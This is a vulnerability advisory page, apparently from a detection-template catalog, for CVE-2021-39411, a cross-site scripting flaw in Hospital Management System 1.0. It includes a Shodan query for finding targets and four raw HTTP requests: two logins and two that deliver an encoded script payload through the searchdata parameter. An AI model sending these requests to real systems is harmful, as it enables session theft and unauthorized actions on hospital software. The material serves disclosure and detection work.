🔙 목록으로 돌아가기

CVE-2021-39411: Hospital Management System 1.0 - Cross-Site Scripting

TitleHospital Management System 1.0 - Cross-Site Scripting
Authorarafatansari
SeverityHigh
ImpactAuthenticated attackers can inject malicious JavaScript via XSS in the searchdata parameter, potentially stealing session cookies or performing unauthorized administrative actions.
RemediationApply security patches or upgrade to Hospital Management System version 1.1 or later.
CVSS Score7.2
EPSS Score0.01665
CVE IDCVE-2021-39411
CWE IDCWE-79
Shodan Queryhttp.html:"Hospital Management System"
Tags cve cve2021 hms hospital cms xss authenticated vuln

🔍 Vulnerability Description

Hospital Management System 1.0 contains a cross-site scripting vulnerability via the searchdata parameter in doctor/search.php and patient-search.php.

🌐 HTTP Request

POST /hms/doctor/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=7JIyEf&password=6Z4A3K&submit=
POST /hms/doctor/search.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=
POST /hms/admin/ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.2 Safari/605.1.15
Connection: close
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=7JIyEf&password=6Z4A3K&submit=
POST /hms/admin/patient-search.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Connection: close
Content-Length: 72
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&search=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39411.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39411.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A